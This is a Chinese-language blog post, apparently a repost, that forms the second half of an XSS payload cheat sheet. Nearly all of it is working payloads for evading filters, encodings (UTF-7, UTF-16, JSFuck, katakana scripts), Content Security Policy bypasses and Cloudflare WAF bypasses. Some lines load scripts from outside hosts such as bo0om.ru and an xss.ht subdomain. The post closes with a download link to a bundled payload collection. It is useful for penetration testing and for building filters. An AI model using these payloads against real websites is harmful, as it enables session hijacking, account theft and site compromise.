XSS相关有效载荷及绕道的备忘录（下）| 文末有打包好的负载

前言：

今天发布的是下半部分

进入正题

过滤的绕过和一些奇异的有效载荷

    • 大小写绕过

<sCrIpt>alert(1)</ScRipt>

    • 绕过标签黑名单

<script x><script x>alert('XSS')<script y>

    • 用代码评估绕过单词黑名单

eval('ale'+'rt(0)');Function("ale"+"rt(1)")();new Function`alert\`6\``;setTimeout('ale'+'rt(2)');setInterval('ale'+'rt(10)');Set.constructor('ale'+'rt(13)')();Set.constructor`alx65rtx2814x29```;

    • 不完整的HTML标签绕过

可用于IE/Firefox/Chrome/Safari<img src='1' onerror='alert(0)' <

    • 绕过字符串的引号

String.fromCharCode(88,83,83)

    • 绕过脚本标签的引号

http://localhost/bla.php?test=</script><script>alert(1)</script><html>  <script>    <?php echo 'foo="text '.$_GET['test'].'";';`?>  </script></html>

    • 在鼠标按下事件中绕过引号

你可以使用 ' 在mousedown实践中绕过单引号<a href="" onmousedown="var name = '';alert(1)//'; alert('smthg')">Link</a>

    • 绕过点（。）的限制

<script>window['alert'](document['domain'])</script>

    • 绕过字符串的括号

alert`1`setTimeout`alertu0028document.domainu0029`;

    • 绕过括号和分号

// 来自 @garethheyes<script>onerror=alert;throw 1337</script><script>{onerror=alert}throw 1337</script><script>throw onerror=alert,'some string',123,'haha'</script>
// 来自 @terjanq <script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>
// 来自 @cgvwzq<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>

    • 绕过onxxxx =黑名单

object onafterscriptexecute=confirm(0)><object onbeforescriptexecute=confirm(0)>
// 绕过 onxxx= 过滤通过空字节/垂直标签,filter with a null byte/vertical tab<img src='1' onerrorx00=alert(0) /><img src='1' onerrorx0b=alert(0) />
// Bypass onxxx= filter with a '/' <img src='1' onerror/=alert(0) />

    • 绕过空格过滤

//使用 / 绕过空格过滤<img/src='1'/onerror=alert(0)>
//使用 0x0c/^L 绕过空格过滤<svgonload=alert(1)>
$ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c  <svg.onload.=.al00000010: 6572 7428 3129 0c3e 0a                   ert(1).>.

    • 绕过电子邮件过滤

"><svg/onload=confirm(1)>"@x.y

    • 绕过文档黑名单

<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>

    • 在字符串中使用的JavaScript绕过

<script>foo="text </script><script>alert(1)</script>";</script>

    • 使用其他方式绕过重定向限制

location="http://google.com"document.location = "http://google.com"document.location.href="http://google.com"window.location.assign("http://google.com")window['location']['href']="http://google.com"

    • 使用其他方式执行警报

来自 brutelogic tweet@window['alert'](0)parent['alert'](1)self['alert'](2)top['alert'](3)this['alert'](4)frames['alert'](5)content['alert'](6)
[7].map(alert)[8].find(alert)[9].every(alert)[10].filter(alert)[11].findIndex(alert)[12].forEach(alert);
来自 quanyang tweet@prompt`${document.domain}`document.location='java	script:alert(1)'document.location='java
script:alert(1)'document.location='java	script:alert(1)'
来自 404death tweet@eval('ale'+'rt(0)');Function("ale"+"rt(1)")();new Function`alert\`6\``;
constructor.constructor("aler"+"t(3)")();[].filter.constructor('ale'+'rt(4)')();
top["al"+"ert"](5);top[8680439..toString(30)](7);top[/al/.source+/ert/.source](8);top['alx65rt'](9);
open('java'+'script:ale'+'rt(11)');location='javascript:ale'+'rt(12)';
setTimeout`alertu0028document.domainu0029`;setTimeout('ale'+'rt(2)');setInterval('ale'+'rt(10)');Set.constructor('ale'+'rt(13)')();Set.constructor`alx65rtx2814x29;
使用其他方式出发alertvar i = document.createElement("iframe");i.onload = function(){  i.contentWindow.alert(1);}document.appendChild(i);
//绕过安全机制XSSObject.proxy = function (obj, name, report_function_name, exec_original) {      var proxy = obj[name];      obj[name] = function () {        if (exec_original) {          return proxy.apply(this, arguments);        }      };      XSSObject.lockdown(obj, name);  };XSSObject.proxy(window, 'alert', 'window.alert', false);

    • 不使用任何东西绕过“>”

不必去闭合标签<svg onload=alert(1)//

    • 使用其他字符绕过“;”

'te' * alert('*') * 'xt';'te' / alert('/') / 'xt';'te' % alert('%') % 'xt';'te' - alert('-') - 'xt';'te' + alert('+') + 'xt';'te' ^ alert('^') ^ 'xt';'te' > alert('>') > 'xt';'te' < alert('<') < 'xt';'te' == alert('==') == 'xt';'te' & alert('&') & 'xt';'te' , alert(',') , 'xt';'te' | alert('|') | 'xt';'te' ? alert('ifelsesh') : 'xt';'te' in alert('in') in 'xt';'te' instanceof alert('instanceof') instanceof 'xt';

    • 使用HTML编码绕过

%26%2397;lert(1)

    • 使用武士刀绕过

katakana：https://github.com/aemkei/katakana.jsjavascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()

    • 使用Lontara绕过


ᨆ='',ᨊ=!ᨆ+ᨆ,ᨎ=!ᨊ+ᨆ,ᨂ=ᨆ+{},ᨇ=ᨊ[ᨆ++],ᨋ=ᨊ[ᨏ=ᨆ],ᨃ=++ᨏ+ᨆ,ᨅ=ᨂ[ᨏ+ᨃ],ᨊ[ᨅ+=ᨂ[ᨆ]+(ᨊ.ᨎ+ᨂ)[ᨆ]+ᨎ[ᨃ]+ᨇ+ᨋ+ᨊ[ᨏ]+ᨅ+ᨇ+ᨂ[ᨆ]+ᨋ][ᨅ](ᨎ[ᨆ]+ᨎ[ᨏ]+ᨊ[ᨃ]+ᨋ+ᨇ+"(ᨆ)")()
更多字母表，可关注：http://aem1k.com/aurebesh.js/#

    • 使用ECMAScript6绕过

<script>alert`1`</script>

    • 使用八进制编码绕过

javascript:'74163166147401571561541571411447514115414516216450615176'

    • 使用的Unicode编码绕过

Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) wastransformed into U+003C LESS­THAN SIGN (<)
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) wastransformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) wastransformed into U+0027 APOSTROPHE (')
Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) wastransformed into U+003C LESS­THAN SIGN (<)
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) wastransformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) wastransformed into U+0027 APOSTROPHE (')
E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/%EF%BC%9E becomes >%EF%BC%9C becomes <
使用Unicode转换为大写绕过
İ (%c4%b0).toLowerCase() => iı (%c4%b1).toUpperCase() => Iſ (%c5%bf) .toUpperCase() => SK (%E2%84%AA).toLowerCase() => k
<ſvg onload=... > become <SVG ONLOAD=...><ıframe id=x onload=>.toUpperCase() become <IFRAME ID=X ONLOAD=>

    • 使用UTF-7编码绕过

+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-

    • 使用UTF-8编码绕过

< = %C0%BC = %E0%80%BC = %F0%80%80%BC> = %C0%BE = %E0%80%BE = %F0%80%80%BE' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2" = %CA%BA' = %CA%B9

    • 使用UTF-16BE编码绕过

%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E%00x00<x00sx00vx00gx00/x00ox00nx00lx00ox00ax00dx00=x00ax00lx00ex00rx00tx00(x00)x00>

    • 使用UTF-32编码绕过

%00%00%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E

    • 使用BOM（浏览器对象模型）绕过

字节顺序标记(页面必须以BOM字符开始)。BOM字符允许您覆盖页面的字符集UTF-16编码的BOM字符：大端字节 : 0xFE 0xFF小端字节 : 0xFF 0xFEXSS : %fe%ff%00%3C%00s%00v%00g%00/%00o%00n%00l%00o%00a%00d%00=%00a%00l%00e%00r%00t%00(%00)%00%3E
UTF-32编码的BOM字符：大端字节 : 0x00 0x00 0xFE 0xFF小端字节 : 0xFF 0xFE 0x00 0x00XSS : %00%00%fe%ff%00%00%00%3C%00%00%00s%00%00%00v%00%00%00g%00%00%00/%00%00%00o%00%00%00n%00%00%00l%00%00%00o%00%00%00a%00%00%00d%00%00%00=%00%00%00a%00%00%00l%00%00%00e%00%00%00r%00%00%00t%00%00%00(%00%00%00)%00%00%00%3E

    • 使用奇怪的编码绕过

<script>u0061u006Cu0065u0072u0074(1)</script><img src="1" onerror="alert(1)" />
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
<script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+""")())();</script>
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>

CSP（内容安全策略）绕过

    • 使用谷歌的JSONP绕过CSP

//google.com/complete/search?client=chrome&jsonp=alert(1);
<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>"
更多可用的JSONP端点，查看末尾文件中的 /XSS模糊测试payload/jsonp_endpoint.txt
script=document.createElement('script');script.src='//bo0om.ru/csp.js';window.frames[0].document.head.appendChild(script);
d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://yoursubdomain.xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000)
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

 

常见的WAF绕过

Cloudflare XSS绕过//来自 Bohdan Korzhynskyi <svg onload=prompt%26%230000000040document.domain)><svg onload=prompt%26%23x000000028;document.domain)>xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
//来自RakeshMane10<svg/onload=alert()//
<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;">X</a>
Chrome审计</script><svg><script>alert(1)-%26apos%3B
anythinglr00</script><script>alert(document.domain)</script>uxldz
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
<svg onload
=$.globalEval("al"+"ert()");>
?"></script><base%20c%3D=href%3Dhttps:mysite>
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
<a href=javascript:alert(1)>

注意

上述有效载荷都打包在了下面链接中，自己现行研究一番，在哪里使用，可以做些模糊测试工作，具体自己研究研究吧，求最后 全部.txt 的英文我将其中的有效载荷都复制到了里面，但是有些地方不足，可以自己修改下吧。失效可联系我，不保证能够秒回，着急就加我微信。嘿嘿。

链接：https://pan.baidu.com/s/1J_O9xzKAJXcpjynW1ijjdA 提取码：79fo

最后说个好玩是事情，在使用某在线降价排版时，调试这些有效载荷，一不小心触发了个XSS，具体原因还没研究，就来发文章了，一会发完文章研究研究，看看具体是哪个语句触发的......

有图有真相

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原文地址：https://www.cnblogs.com/xyongsec/p/11274865.html